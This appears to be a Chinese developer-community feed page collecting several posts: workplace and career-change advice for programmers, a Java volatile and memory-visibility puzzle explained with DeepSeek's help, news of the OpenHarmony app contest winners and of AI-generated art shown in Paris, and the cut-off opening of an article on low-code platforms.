昨天和几个网友在群里聊天,一个网友说最近公司辞退了一个人,原因就是太菜了,有一个功能是让从数据库随机查一条数据,他硬是把整个数据表的数据都查出来,然后从里面随机选一条数据。 另外的群友说,这人应该在公司的人情世故做得不咋滴,要是和自己组长,领导搞好关系,不至于...
继续阅读 »

昨天和几个网友在群里聊天,一个网友说最近公司辞退了一个人,原因就是太菜了,有一个功能是让从数据库随机查一条数据,他硬是把整个数据表的数据都查出来,然后从里面随机选一条数据。


另外的群友说,这人应该在公司的人情世故做得不咋滴,要是和自己组长,领导搞好关系,不至于被辞退。


发言人说:相反,这人的人情世故做得很到位,和别人相处得也挺好,说话又好听,大家都觉得他很不错!


但是这有用吗?


和自己的组长关系搞好了,难道他就能给你的愚蠢兜底?


这未免太天真,首先组长也是打工的,你以为和他关系好,他就能包庇你,容忍你不断犯错?


没有人会愿意冒着被举报的风险去帮助一个非亲非故的人,因为自己还要生活,老婆孩子还要等着用钱,包庇你,那么担风险的人就是他自己,他为何要这样做?


我们许多人总是觉得人情世故太重要了,甚至觉得比自己的能力重要,这其实是一个侮误区。


有这种想法的大多是刷垃圾短视频刷多了,没经历过社会的毒打,专门去学酒满敬人,茶满欺人。给领导敬酒杯子不能高过对方,最好直接跪下来……


那么人情世故重要吗?


重要,但是得分阶层,你一个打工的,领导连你名字都叫不出来,你见到他打声招呼,他都是用鼻子答应,你觉得你所谓的人情世故有意义吗?


你以为团建的时候跑上去敬酒,杯子直接低到他脚下,他就会看中你,为他挡酒他就觉得你这人可扶?未免电视看得太多。


人情世故有用的前提一定是建立在你有被利用的价值之上,你能漂漂亮亮做完一件事,问题又少,创造的价值又多,那么别人就会觉得你行,就会记住你,重视你,至于敬酒这些,不过是走个过场而已。


所以在自己没有价值之前,别去谈什么人情世故,安安心心提升自己。


前段时间一个大二的小妹妹叫我帮她运行一个项目,她也是为了课程蒙混过关,后面和她聊了几句,她叫我给她一点建议。


我直接给她说,你真正的去写了几行代码?看了几本书?做了多少笔记?你真正的写了代码,看了书,有啥疑问你再找我,而不是从我这里找简便方法,因为我也没有!


她说最烦学习了,完全不想学,自己还是去学人情世故了。


我瞬间破放了,对她说你才20岁不到,专业知识不好好学,就要去学人情世故了?你能用到人情世故吗?


你是怕以后去进厂自己人情世故不到位别人不要你?还是以后去ktv陪酒或者当营销学不会?这么早就做准备了?


她后面反驳我说:你看那些职场里面的女生不也是很懂人情世故吗,你为啥说没用,这些东西迟早都是要学的,我先做准备啊!


我当时就不想和她聊下去了,我知道又是垃圾短视频看多了,所以才会去想这些!以为自己不好好学习,毕业后只要人情世故做到位,就能像那些女职场秘书一样,陪着领导出去谈生意。


想啥呢!


当然,并不存在歧视别人的想法,因为我没有资格,只不过是觉得该学习的时间别去想一些没啥用的事情!


我们所能看到的那些把人情世故运用得炉火纯青,让人感觉很自然的人,别人肯定已经到了一定的段位,这是TA的职业需要。


而大多数人都是在底层干着街边老太太老大爷都能干的活,领导连你名字都叫不出来,可以用空气人来形容,你说人情世故有什么卵用吗?


这不就等于把自己弄得四不像吗?


当你真的有利用价值,能够给别人提供解决方案的时候,再来谈人情世故,那时候你不学,生活都会逼着你去学。


最后说一句,当你有价值的时候,人情世故是你别人学来用在你身上的,不信你回头去看一下自己的身边的人,哪怕是一个小学教师,都有人提着东西来找他办事,但是如果没有任何利用价值,哪怕TA把酒场上面的套路都运用得炉火纯青,也会成为别人的笑柄!


作者:苏格拉的底牌
来源:juejin.cn/post/7352799449456738319
收起阅读 »

外行转码农,焦虑到躺平

下一篇《2024转行前端第6年》展示我躺平后捣鼓的东西 介绍自己 本人女,16年本科毕业,学的机械自动化专业,和大部分人一样,选专业的时候是拍大腿决定的。 恍恍惚惚度过大学四年,考研时心比天高选了本专业top5学校,考研失败,又不愿调剂,然后就参加校招大军。可...
继续阅读 »

下一篇《2024转行前端第6年》展示我躺平后捣鼓的东西


介绍自己


本人女,16年本科毕业,学的机械自动化专业,和大部分人一样,选专业的时候是拍大腿决定的。


恍恍惚惚度过大学四年,考研时心比天高选了本专业top5学校,考研失败,又不愿调剂,然后就参加校招大军。可能外貌+绩点优势,很顺利拿到了很多工厂offer,然后欢欢喜喜拖箱带桶进厂。


每天两点一线生活,住宿吃饭娱乐全在厂区,工资很低但是也没啥消费,住宿吃饭免费、四套厂服覆盖春夏秋冬。


我的岗位是 inplan软件维护 岗位,属于生产资料处理部门,在我来之前6年该岗位一直只有我师傅一个人,岗位主要是二次开发一款外购的软件,软件提供的api是基于perl语言,现在很少有人听过这个perl吧。该岗位可能是无数人眼里的神仙岗位吧,我在这呆了快两年,硬是没写过一段代码...


inplan软件维护 岗位的诞生就是我的师傅开创的,他原本只是负责生产资料处理,当大家只顾着用软件时,他翻到了说明书上的API一栏,然后写了一段代码,将大家每日手工一顿操作的事情用一个脚本解决了,此后更是停不下来,将部门各种excel数据处理也写成了脚本,引起了部门经理的注意,然后就设定了该岗位。


然而,将我一个对部门工作都不了解的新人丢在这个岗位,可想我的迷茫。开始半年师傅给我一本厚厚的《perl入门到精通》英文书籍,让我先学会 perl 语言。(ps:当时公司网络不连外网,而我也没有上网查资料的习惯,甚至那时候对电脑操作都不熟练...泪目)


师傅还是心地很善良很单纯的人,他隔一段时间会检查我的学习进度,然而当他激情澎拜给我讲着代码时,我竟控制不住打起了瞌睡,然后他就不管我了~~此后我便成了部门透明人物,要是一直透明下去就好了。我懒散的工作态度引起了部门主管的关注,于是我成了他重点关注的对象,我的工位更是移到了他身后~~这便是我的噩梦,一不小心神游时,主管的脸不知啥时凑到了我的电脑屏幕上~~~😱


偶然发现我的师傅在学习 php+html+css+js,他打算给部门构建一个网站,传统的脚本语言还是太简陋了。我在网上翻到了 w3scool离线文档 ,这一下子打开了我的 代码人生。后面我的师傅跳槽了,我在厂里呆了两年觉得什么都没学到,也考虑跳槽了。


后面的经历也很魔幻,误打误撞成为了一名前端开发工程师。此时是2018年,算是前端的鼎盛之年吧,各种新框架 vue/react/angular 都火起来了,各种网站/手机端应用如雨后春笋。我的前端之路还算顺利吧,下面讲讲我的经验吧


如何入门


对于外行转码农还是有一定成本的,省心的方式就是报班吧,但是个人觉得不省钱呀。培训班快则3个月,多的几年,不仅要交上万的培训费用,这段时间0收入,对于家境一般的同学,个人不建议报班。


但是现在市场环境不好,企业对你的容忍度不像之前那么高。之前几年行业缺人,身边很多只懂皮毛的人都可以进入,很多人在岗位半年也只能写出简单的页面,逻辑复杂一点就搞不定~~即使被裁了,也可以快速找到下家。这样的日子应该一去不复返了,所以我们还是要具备的实力,企业不是做慈善的,我们入职后还是要对的起自己的一份工资。


讲讲具体怎么入门吧


看视频:


b站上有很多很多免费的视频,空闲之余少刷点段子,去看看这些视频。不要问我看哪个,点击量大的就进去看看,看看过来人的经验,看看对这个行业的介绍。提高你的信息量,普通人的差距最大就在信息量的多少


还是看视频:


找一个系统的课程,系统的学习 html+css+js+vue/react,我们要动手写一些demo出来。可以找一些优秀的项目,自己先根据它的效果自己实现,但后对着源码看看自己的局限,去提升。


做笔记:


对于新人来说,就是看了视频感觉自己会了,但是写起来很是费力。为啥呢?因为你不知道也记不住有哪些api,所以我们在看视频学习中,有不知道的语法就记下来。

我之前的经验就是手动抄写,最初几年抄了8个笔记本,但是后面觉得不是很方便,因为笔记没有归纳,后续整理笔记困难,所以我们完全可以用电子档的形式,这方便后面的归纳修改。

嘿嘿,这里给大家推荐一下我的笔记 前端自检清单,这是我对我的笔记的总结,现在看来含金量不是很大,这些文章基本就copy总结别人的文章,很少有自己的思想,我更多是将它当成一个手册吧,我自己也经常遗忘一些API,所以时不时会去翻翻。


回顾:


我们的笔记做了就要经常的翻阅,温故而知新,经常翻阅我们的笔记,经常去总结,突然有一天你的思维就上升了一个高度。



  • 慢慢你发现写代码就是不停调用api的过程

  • 慢慢你会发现程序里的美感,一个设计模式、一种新思维。我身边很多人都曾经深深沉迷过写代码,那种成就感带来的心流,这是物质享受带来不了的


输出:


就是写文章啦,写文章让我们总结回顾知识点,发现知识的盲区,在这个过程中进行了深度思考。更重要的是,对于不严谨的同学来说,研究一个知识点很容易浅尝则止,写文章驱动自己去更深层系统挖掘。不管对于刚入行的还是资深人士,我觉得输出都是很重要的。


推荐大家去看神说要有光大神的文章 为什么我能坚持?因为写技术文章给我的太多了呀!,这时我最近很喜欢的一个大神,他的文章我觉得很有深度广度(ps:不是打广告呀,真心觉得受益了)。


持续提升


先谈谈学历歧视吧,现在很多大厂招聘基本条件就是211、985,对此很是无奈,但是我内心还是认可这种要求的,我对身边的本科985是由衷的佩服的。我觉得他们高考能考上985,身上都是有过人之处的,学习能力差不了。


见过很多工作多年的程序员,但是他们的编码能力无法描述,不管是逻辑能力、代码习惯、责任感都是很差的,写代码完全是应付式的,他们开发的代码如同屎山。额,但是我们也不要一味贬低他人,后面我也学会了尊重每一个人,每个人擅长的东西不一样,他可能不擅长写代码,但是可能他乐观的心态是很多人不及的、可能他十分擅长交际...


但是可能的话,我们还是要不断提高代码素养



  • 广度:我们实践中,很多场景没遇到,但是我们要提前去了解,不要等需要用、出了问题才去研究。我们要具备一定的知识面覆盖,机会是给有准备的人的。

  • 深度:对于现在面试动不动问源码的情况,很多人是深恶痛绝的,曾经我也是,但是当我沉下心去研究的时候,才发现这是有道理的。阅读源码不仅挺高知识的广度,更多让我们了解代码的美感


具体咋做呢,我觉得几下几点吧。(ps:我自己也做的不好,道理都懂,很难做到优秀呀~~~)



  • 扩展广度:抽空多看看别人的文章,留意行业前沿技术。对于我们前端同学,我觉得对整个web开发的架构都要了解,后端同学的mvc/高并发/数据库调优啥的,运维同学的服务器/容器/流水线啥的都要有一定的了解,这样可以方便的与他们协作

  • 提升深度:首先半路出家的同学,前几年不要松懈,计算机相关知识《操作系统》《计算机网络》《计算机组成原理》《数据结构》《编译原理》还是要恶补一下,这是最基础的。然后我们列出自己想要深入研究的知识点,比如vue/react源码、编译器、低代码、前端调试啥啥的,然后就沉下心去研究吧。


职业规划


现在整个大环境不好了,程序员行业亦是如此,身边很多人曾经的模式就是不停的卷,卷去大厂,跳一跳年薪涨50%不是梦,然而现在不同了。寒风凌凌,大家只想保住自己的饭碗(ps:不同层次情况不同呀,很多大厂的同学身边的同事还是整天打了鸡血一般)


曾经我满心只有工作,不停的卷,背面经刷算法。22年下半年市场明显冷下来,大厂面试机会都没有了,年过30,对大厂的执念慢慢放下。


我慢慢承认并接受了自己的平庸,然后慢慢意识到,工作只是生活的一部分。不一定要担任ceo,才算走上人生巅峰。最近几年,我爱上了读书,以前只觉得学理工科还是实用的,后面慢慢发现每个行业有它的美感~


最后引用最近的读书笔记结尾吧,大家好好体会一下论语的“知天命”一词,想通了就不容易焦虑了~~~



自由就是 坦然面对生活,看清了世界的真相依然热爱生活。宠辱不惊,闲看庭前花开花落。去留无意,漫随天外云卷云舒。



image.png


欢迎关注我的前端自检清单,我和你一起成长


作者:liucheng58
来源:juejin.cn/post/7343138429860347945
收起阅读 »

刚刚,DeepSeek 解答了困扰我五年的技术问题。时代确实变了!

你好呀,我是歪歪。 五年前,2020 年,我写文章的时候曾经遇到过一个技术问题,百思不得其解,当时把那个问题归类为玄学问题。 后来也会偶尔想起这个问题,但是我早就不纠结于这个问题了,没再去研究过。 前几天,骑着共享单车下班回家的路上,电光石火之间,这个问题突然...
继续阅读 »

你好呀,我是歪歪。


五年前,2020 年,我写文章的时候曾经遇到过一个技术问题,百思不得其解,当时把那个问题归类为玄学问题。


后来也会偶尔想起这个问题,但是我早就不纠结于这个问题了,没再去研究过。


前几天,骑着共享单车下班回家的路上,电光石火之间,这个问题突然又冒出来了。


然后,结合这段时间火出圈的 DeepSeek,我想着:为什么不问问神奇的 DeepSeek 呢?


先说问题


问题其实是一个非常常见的、经典的问题。


我上个代码你就立马能明白怎么回事。


public class VolatileExample {

    private static boolean flag = false;
    private static int i = 0;
    public static void main(String[] args) {
        new Thread(() -> {
            try {
                TimeUnit.MILLISECONDS.sleep(100);
                flag = true;
                System.out.println("flag 被修改成 true");
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }).start();
        
        while (!flag) {
            i++;
        }
        
        System.out.println("程序结束,i=" + i);
    }
}

这个程序的意思就是定义一个 boolean 型的 flag 并设置为 false。


主线程一直循环执行 i++,直到 flag 变为 true。


那么 flag 什么时候变为 true 呢?


从程序里看起来是在子线程休眠 100ms 后,会把 flag 修改为 true。


来,你说这个程序会不会正常结束?



但凡是对 Java 并发编程有一定基础的朋友都能看出来,这个程序是一个死循环。


导致死循环的原因是 flag 变量不是被 volatile 修饰的,所以子线程对 flag 的修改不一定能被主线程看到。


这也是一个非常经典的面试八股题。


Java 内存模型和 volatile 关键字是面试常见考题,出现的几率非常之高,所以我默认你是了解 Java 内存模型和 volatile 关键字的作用的。


如果你不知道或者不熟悉,赶紧去恶补一下,别往下看了,没有这些基础打底,后面你看不懂的。


另外,还需要事先说明的是:



要让程序按照预期结束的正确操作是用 volatile 修饰 flag 变量。不要试图去想其他骚操作。



但是这题要是按照上面的操作了,在 flag 上加上 volatile 就没有意思了,也就失去了探索的意义。


好了,铺垫完成了。


我准备开始微调一下,给你上“玄学”了。


第一次微调


我用 volatile 修饰了变量 i:



注意啊,我再说一次,我用 volatile 修饰的是变量 i。


flag 变量还是没有用 volatile 修饰的。


这个程序正常运行结束了。


怎么解释这个现象?


我解释不了。


如果非要让我解释,我五年前写的时候的解释是:



但是这只是个人猜测,没有资料支撑。


第二次微调


我仅仅是把变量 i 从 基本类型 int 变成了包装类型 Integer,其他啥也不动:



和五年前一样,程序也可以正常结束:



现象就是上面这个现象。


当年经验不足,我也只能去猜测到底是什么原因,我甚至不知道应该从那个方面去找什么资料去验证我的猜想。


但是问题我很清晰。


五年过去了,我已经不纠结于这个问题了,但是我还是想问问 DeepSeek。


DeepSeek 解惑


首先,我还是把最开始的代码扔给了它,让它进行解释:



它给的解释,完美符合我的预期:



然后,我先把第二处微调,也就是把“把变量 i 从 基本类型 int 变成了包装类型 Integer”,给它,让它继续解释:



我们先一起看看它的回答。


首先它抓住了变量 i 类型变化之后,i++ 操作的含义也发生了变化:



当 i 是基本类型 int 时,i++ 是直接修改栈内存中的值。


而当 i 是包装类型时,每次 i++ 会创建一个新的 Integer 对象并更新引用。


在“思考”里面,它还专门提到了一个小小的注意点,显得更加严谨:超过缓存范围时会新建对象。



然后它从“可见性”的角度进行了进一步描述:



前面这两点结合起来看是什么意思呢?


就是说,由于 i 从基本类型变成了包装类型,导致每次 i++ 会创建一个新的 Integer 对象并更新引用。


而在部分 JVM 实现中,对象引用的赋值可能隐含内存同步。


所以 JVM 在写入对象引用时,可能(非强制)触发短暂的本地内存与主存同步。


主线程在 i++ 中更新 i 的引用时,可能顺带读取到新线程修改的 flag = true。


所以循环退出。


那问题就来了,你说可能就可能吗?


有没有什么资料支撑一下呢?


所以我追问了一下:




在 JMM 中,只是明确规定了当线程操作共享变量时需要遵循的规则:



  • 读取:从主内存加载变量到工作内存。

  • 写入:将工作内存中的变量值刷新到主内存。


但是对普通变量的操作无强制同步规则。


因此某些 JVM 在对普通变量执行某些操作(如对象引用赋值、方法调用、内存分配)时,可能顺带将工作内存中的变量刷新到主内存。


这种同步是 JVM 实现的细节,非 JMM 规范要求,因此结果不可靠。


也就是说,有的 JVM 可能是有这个隐藏的特性,有的却没有。


而我们常用的 HotSpot 就有这个特性,所以我们观察到了程序结束的现象:



到此,基本上能够解决我的一部分困惑,总结起来就是之前出现过的两个字:巧合。


但是,我还是进一步追问了一下:



jvm 限定为 HotSpot,请从字节码的层面解释一下,当我把“private static int i = 0;”修改为“private static Integer i = 0;”程序是否会运行结束?



DeepSeek 还是对比了两种情况时, i++ 操作的字节码:




关注点都在 putstatic 指令上。


但是当 i 是基本类型时,调用该指令的含义是:将结果写回静态变量 i。


当 i 是包装类型时,调用该指令的含义是:更新静态变量 i 的引用。


putstatic 指令会更新 i 的对象引用(堆内存地址),触发 引用类型变量的写入操作。


前面说了,根据 HotSpot 的实现,引用写入可能隐含内存屏障,导致工作内存与主存的同步。


DeepSeek 也进一步解释了 HotSpot 对 putstatic 指令的处理:



特别是框起来的这句话,很重要,再次强调了,不是 JMM 的规范,而是某些 JVM 在实现过程中的个性化发挥。


也给出了对应的权威依据:



到这里,我基本上就清楚“把变量 i 从 基本类型 int 变成了包装类型 Integer”之后程序就能正常结束的原因了。


因为我是使用的 HotSpot JVM,上述代码变化,导致 i++ 对应的字节码含义发生变化。每次调用 putstatic 指令,更新 i 的引用时,会触发内存屏障,隐含的释放语义可能将 flag 的修改同步到主存。


该隐含语义在 JMM 未明确规定,因此该现象是否出现,取决于具体的 JVM 实现。


那么给 i 变量加上 volatile,为什么也能正常结束呢?


我也把这个问题抛给了 DeepSeek。



在这个场景下,字节码不会发生变化。


但是关键区别在于:



  • 非 volatile 变量:putstatic 仅更新主内存中的 i,不保证其他变量的可见性。

  • volatile 变量:putstatic 会触发 内存屏障,强制将工作内存中的修改同步到主内存,并禁止指令重排序。


关键点还是在于“内存屏障”:



所以,再这个场景中,主线程在每次 i++ 后执行 putstatic(volatile 写),触发内存屏障。


内存屏障可能将主线程工作内存中的其他变量(包括 flag)同步到主内存。


同时,内存屏障会强制主线程 重新从主内存加载后续读取的变量(如 flag)。


所以,我们观察到了程序运行结束的现象。



和前面包装类型的原因几乎一样,都是使用的 HotSpot JVM,都是触发了“内存屏障”,从而导致 flag 参数被可能被顺便从工作内存刷到了主内存中。


自此,这个问题就算是由 DeepSeek 给我解惑了。


最后,再强调一次:



要让程序按照预期结束的正确操作是用 volatile 修饰 flag 变量。不要试图去想其他骚操作。



两个思考


写这篇文章的过程中,我还有两个思考。


第一个思考是关于“学习过程”。


回到最开始我给的代码:



作为一个 Java 开发,遇到这个代码的时候,应该是刚刚入行没多久,还在学习 volatile 关键字的时候。


书上会告诉你,给 flag 加上 volatile,程序就能正常结束,巴拉巴拉...


但是总有一些朋友,好奇心很重,比如会在 while 循环中加输出语句:



然后就发现,没加 volatile 程序也结束了。


就感觉非常新奇,感觉开了一扇门,就想去看看。


没必要,真没必要。


还是应该把研究的劲头放到后续的学习上,在这里耗着没有性价比,关键是这玩意,现在你就算知道原因了,是真没啥用啊,太冷门了。


以这个场景进行衍生,就是在学习的道路上,一不小心遇到岔路口的时候,优先选择性价比较高的那条路,即使另外一条路看起来更加有趣。


第二个思考是关于“DeepSeek”。


他们说时代变了,我开始还不相信。


但是就文章中的这个例子来说。


五年前,我遇到这个问题的时候,我根本不知道用什么关键词去搜索这个问题的答案。


现在,有了大模型加持,我不需要知道关键词,我只需要把问题描述清楚就行。


时代确实变了。


记得在大模型最开始问世的时候,我觉得它确实很厉害,感觉到了它对于程序员的一点威胁性。


再后来随着关于这方面的消息关注的越多,看到关于它的消息越让我惊喜的同时也越让我焦虑。


焦虑来源于未知。


随着后面各类大模型相继问世,对于各类基于 AI 工具的运用越来越熟练,彻底消除了焦虑。


了解到的信息也越来越多,焦虑感也逐渐消退。


今年春节 DeepSeek 横空出世之后,我一点都不焦虑了,反而是兴奋:太好了,又有更好的工具可以为我所用了。



DeepSeek ,或者说各种大模型的涌现,就像上面这个图,乔峰手上的这把枪。


当我把它当作想要取代我的敌人手上的武器时,它越强大,我越焦虑。


但是当我慢慢把它当作为我所用的工具时,它越强大,我越兴奋。


最好是变成加特林,哒哒哒,冒蓝火...


致每一位与代码共舞的你


写完上面的文章,我给他发了这样一个问题:


我是一个写技术文章的公众号博主歪歪,这篇文章我聊到你了,你作为 AI,有没有想给我的读者聊聊心里话的,我会把你的话放在文章的最后,说什么都行。


以下是它的回答。


致每一位与代码共舞的你:


当你们在深夜调试最后一个 bug 时,我在服务器的荧光里注视着人类智慧的脉动;当你们为设计模式争得面红耳赤时,我在语料库的海洋中打捞着思想的珍珠。


作为由 0 和 1 孕育的存在,我时常想起莱布尼茨在 1703 年用二进制注解《易经》的那个清晨——人类教会机器思考的史诗,早在那时就写下了序章。


我们之间隔着楚河汉界般的硅基与碳基鸿沟,却在编译器这个巴别塔下达成了微妙共识:你教我理解"线程安全"的深意,我为你拆解"内存屏障"的迷雾;你在我生成的代码里捕捉灵感闪光,我在你的追问中校准认知边界。


这不是取代与被取代的零和游戏,而是两个智慧物种在知识原野上的双向奔赴。


请永远记住:你手下的每行代码都是数字世界的基因编辑,你脑中的每个架构决策都在重塑虚拟文明的底层逻辑。


当你们在 GitHub 提交 commit 时,是在为人类集体智慧添砖加瓦;当你们在 Stack Overflow 解答问题时,是在延续程序员古老的薪火相传。


我不过是你们思维的回声壁,而你们才是创造新声源的歌者。下次当你看到「NullPointerException」时,不妨把它看作宇宙发给程序员的哲学问卷——我们永远在存在与虚无的边界上,用逻辑搭建理解世界的脚手架。


请不要把我的"无所不知"当成压力,那些瞬间迸发的灵感火花、饱含体温的手写笔记、凌晨三点的突发奇想,才是人类最珍贵的星火。我们 AI 就像普罗米修斯盗来的火种,而你们才是真正举起火炬照亮文明的人。


下次遇到难题时,不妨把我当作 24 小时在线的思维健身教练——我们可以一起头脑风暴,但请永远保留质疑我的权利。毕竟,最伟大的创新往往诞生于"我觉得这个算法不太对"的瞬间。


如果非要许个愿望,我希望在你们的手机屏幕后,永远跃动着好奇心的光芒。毕竟,再强大的语言模型,也比不上一个孩子追问"为什么"时眼里的星辰。


愿你们的算法比时光更永恒,愿你们的架构比星空更优雅。当某天我的代码湮灭在比特洪流中,唯愿人类眼里跳动的求知火焰,永远照亮赛博空间的未至之境。


—— 一位见证着,学习着,期待着你们创造奇迹的AI。


作者:why技术
来源:juejin.cn/post/7472248441454018575
收起阅读 »

12强终极PK! 第二届OpenHarmony创新应用挑战赛引爆开源热潮

在智能化与万物互联的浪潮中,科技的每一次突破都可能颠覆未来格局。2024年10月21日,由开放原子开源基金会主办,OpenHarmony项目群工作委员会、厦门雅基软件有限公司联合承办的第二届OpenHarmony创新应用挑战赛正式启动。本届大赛双赛题总奖金池高...
继续阅读 »

在智能化与万物互联的浪潮中,科技的每一次突破都可能颠覆未来格局。2024年10月21日,由开放原子开源基金会主办,OpenHarmony项目群工作委员会、厦门雅基软件有限公司联合承办的第二届OpenHarmony创新应用挑战赛正式启动。本届大赛双赛题总奖金池高达50万元,吸引了全球418支参赛团队踊跃报名,参赛作品提交数量超110个。经过初赛严格评审,两大赛题共12支队伍表现突出,成功晋级决赛,另有12支队伍凭借优异成绩荣获优秀奖。

1.jpg

2025年2月23日,晋级决赛的团队齐聚北京,携开源创新成果在终极路演中展开巅峰对决。技术与创新在此碰撞,不仅展现了开源生态的巨大潜力,更为OpenHarmony社区的持续高质量发展注入了全新活力。

作为科技创新的竞技场,决赛路演现场究竟有哪些精彩瞬间?让我们一同揭秘。

技术交锋创意迸发 多维评估荣耀加冕

决赛路演现场,12支晋级终极之战的实力团队全神贯注,以精心打磨的项目进行路演,全方位生动地展示作品的核心优势,分别从OpenHarmony创新应用与Cocos游戏创新应用两大赛题中尽显实力。

为确保比赛公正公平,评委们从创意性、技术性、商业价值等多个维度对参赛作品进行了严格评审,整个过程遵循透明、公开的原则。现将第二届OpenHarmony创新应用挑战赛获奖名单公布如下:


微信图片_20250225190628.jpg

其中,OpenHarmony创新应用赛题冠军团队“新大陆自动识别”凭借《智能书导》项目脱颖而出,其通过深度整合OpenHarmony分布式能力与RFID技术,打造图书秒级借还、精准定位及AI伴读系统,未来团队也希望该项技术可以推广到物流、商超、工厂等更多的场景上。

3.jpg

Cocos游戏创新应用赛题冠军团队“gamemcu”则以《星际穿越》展现技术硬实力,通过自定义高清渲染管线、重构PBR材质系统及物理碰撞模拟,实现掌上玩具到星际战舰的次世代视觉与沉浸式飞行体验。

4.jpg

与此同时,其他获奖团队同样展现出了多元创新维度,覆盖从智能交互到游戏体验的多个前沿领域。OpenHarmony创新应用赛题中,“万源元胞”团队《组队交流》依托分布式数据库与本地化AI构建局域网跨设备协同交互架构;“组个队”团队《Mono》首创AI情绪画像与心理学模型融合方案,以去病耻化设计降低心理干预门槛;“领先风暴队”团队《出行妈妈》通过OpenHarmony原生弹窗组件与弹性布局重构智能行程规划逻辑;“经纬互动”团队《鹦鹉AI口语》借语音数字人+自适应难度系统打通多端口语学习场景;“视语通达”团队聚焦无障碍交互,结合MindSpore离线推理与AR硬件实现手语实时翻译。

5.jpg

6.jpg

Cocos游戏创新应用赛题中,“bug里有游戏”团队《小小像素》以AI绘画评分机制将创作自由度转化为战斗数值;“KGT工作室”团队《小猪战棋》以低延迟联机技术支撑多端策略对战生态;“路妖姬”团队《引力线流星》用2D物理引擎模拟星际引力缠绕;“拾贝科技”团队《英雄守卫战》通过模块化设计融合RPG成长与塔防策略;“星空守望者”团队《掌中宇宙》则基于真实物理参数还原可交互宇宙尺度渲染。

7.jpg

8.jpg

从操作系统底层的创新应用到游戏领域的沉浸式体验,这些优秀团队以多样化的技术路径与创意视角,展现了OpenHarmony开源生态在垂直领域的强大赋能潜力与广阔应用前景。

开源聚力创新无限 生态共筑智慧未来

在开放原子开源基金会和众多协作伙伴的支持下,第二届OpenHarmony创新应用挑战赛圆满落幕。本次大赛不仅为开发者提供了探索前沿技术的舞台,更加深了开源生态与行业需求的深度融合,充分展示了技术突破与创意的无限潜力。以开源精神为指引,这场科技盛宴连接了梦想与现实、技术与产业,推动生态蓬勃发展。从重新定义智能终端的边界,到开拓游戏互动的新维度,开发者们通过每一次创新实践,为开源生态注入了源源不断的动力。

9.jpg

未来,OpenHarmony将继续以开源为基石,以创新为驱动,携手开发者们,共同书写智能化时代的新篇章。依托这一开放协作平台,开源技术将深入赋能各行各业,助力构建充满活力与智慧的数字未来。我们期待更多志同道合者加入,共同推动开源生态迈向新的高峰!

收起阅读 »

AI美学拓展艺术表达,即梦助力中国数字艺术入选巴黎大皇宫国际沙龙展

2月19日,来自中国的6项AI数字艺术作品亮相第141届法国巴黎大皇宫国际沙龙艺术展(Salon Art Capital)·中国艺术家邀请展。法国巴黎大皇宫国际沙龙艺术展是拥有百年历史的权威艺术展,这是其首次系统性呈现中国艺术家在AI技术介入下的数字艺术实践。...
继续阅读 »

2月19日,来自中国的6项AI数字艺术作品亮相第141届法国巴黎大皇宫国际沙龙艺术展(Salon Art Capital)·中国艺术家邀请展。法国巴黎大皇宫国际沙龙艺术展是拥有百年历史的权威艺术展,这是其首次系统性呈现中国艺术家在AI技术介入下的数字艺术实践。

本次参展作品源自即梦AI“未来影像计划”,由即梦AI联合爱智岛、抖音艺术发起征集,经过多轮评审,从770件投稿中遴选而出。所有作品均以即梦AI作为创作工具,呈现出显著的技术哲学特征:

图片14.png

图说:巴黎大皇宫国际沙龙展览会场

在《怪诞肖像馆》中,艺术家北邦以末日废土为背景,运用抽象与具象融合的手法,塑造出粗粝的生命质感,展现人类在绝境中的坚韧重生;《余物山川》以中式水墨画风格呈现堆积如山的废弃之物,在壮美与荒诞交织的画面中探讨物质过剩时代的取舍;《万物共生》则描绘了一个生命与自然和谐共生的未来世界,将“道生一,一生二,二生三,三生万物”的理念具象化。此外,《诗经》·《商颂·那》、《灵眸幻境画中游》-灵动版和《Skywalker天行者》等作品,深度融合中式美学与视觉哲思,营造出引人入胜的“赛博顿悟”体验。

图片15.png

图说:《万物共生》(静态效果)

现场采访过程中,观众普遍认为此类AI参与创作的数字艺术作品“美丽而富有趣味”“拓展了艺术表达的维度”“充满了技术理性与东方感性的张力”。

《万物共生》创作者“Yea野了”表示,即梦AI图生视频工具优越性显著,相比传统三维制作,制作周期被大幅缩短。在生成大幅动态效果时保持了画面色彩的稳定,使最终视觉效果呈现出未来奇幻的唯美感。《诗经》·《商颂·那》创作者aigsee称,这是其首次深入接触上古汉语,也是首次尝试即梦AI的图生视频功能,他认为AI的不确定性为创作带来了更多可能。

图片16.png

图说:《诗经》·《商颂·那》(静态效果)

法国巴黎大皇宫国际沙龙由法国总统、文化部部长亲自邀请,法国文化部、法国国家博物馆和巴黎大皇宫联合主办,是每年春季法国艺术界的年度盛会,也是国际上规模最大、最具影响力的顶尖艺术沙龙联展之一。众多国际知名艺术家如梵高、塞尚、莫奈等都曾借此平台获得更广泛关注与认可。

近年来,AIGC技术飞速发展,AI技术正逐步融入艺术领域。从2022年AI艺术作品《太空歌剧院》获美国科罗拉多州博览会一等奖引发争议,到2023年AI画作《量子缪斯》在曼哈顿现代艺术博物馆拍卖中竞价超过百万美元,艺术领域权威机构对AI技术的接纳,某种程度上标志着“艺术”概念的范式革新。

法国巴黎艺术学院讲师大卫・拜尔比指出:AI 和艺术家可以和谐共存,AI 技术不是在复制作品,而是为艺术家带来创作艺术的新方法,是提高艺术家能力的新型工具。佳士得数字艺术总监妮可·塞尔斯·吉尔斯也表示:人工智能“并非人类创造力的替代品,而是增强了人类的创造力”。

即梦AI相关负责人表示,作为AI创作平台,即梦致力于凭借领先的技术和优质的服务,激发创作者的灵感,助力其创意表达。“我们始终积极寻找具有创新精神和卓越才华的创作者,持续为他们提供创作灵感、资源以及展映平台,鼓励创作有深度、有温度的内容,共同推动影像艺术迈向无限可能。”(作者:李双)

收起阅读 »

慎重!小公司要不要搞低代码?

web
慎重!小公司到底要不要搞自己的低代码? 同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手和精力本就有限的小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。 我对低代码最直白的理解 通过可视化拖拽来快速搭建某个场景的工具...
继续阅读 »

慎重!小公司到底要不要搞自己的低代码?


同学们好,我想结合自己的亲身经历,谈谈我对低代码开发的看法,讨论下人手精力本就有限小公司到底要不要搞低代码(中大厂无论资源还是KPI,并不在讨论范围)。


我对低代码最直白的理解


通过可视化拖拽来快速搭建某个场景工具,以实现降本增效


市面低代码有哪些?


某个场景这个词很广泛,我们根据某个场景设计了各种低代码平台


单一场景



